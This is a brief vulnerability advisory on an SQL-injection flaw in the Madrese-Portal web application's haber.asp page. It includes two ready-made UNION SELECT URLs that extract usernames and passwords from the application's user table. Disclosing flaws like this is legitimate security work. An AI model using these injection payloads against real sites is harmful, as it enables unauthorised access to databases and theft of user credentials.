source: https://www.securityfocus.com/bid/33045/info

Madrese-Portal is prone to an SQL-injection vulnerability because it fails to properly sanitize user-supplied input.

Attackers may exploit this issue to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/[path]/haber.asp?haber=-999'%20union%20select%200,1,ad,3,4%20from%20Kullanici%20where%20'1

http://www.example.com/[path]/haber.asp?haber=-999'%20union%20select%200,1,sifre,3,4%20from%20Kullanici%20where%20'1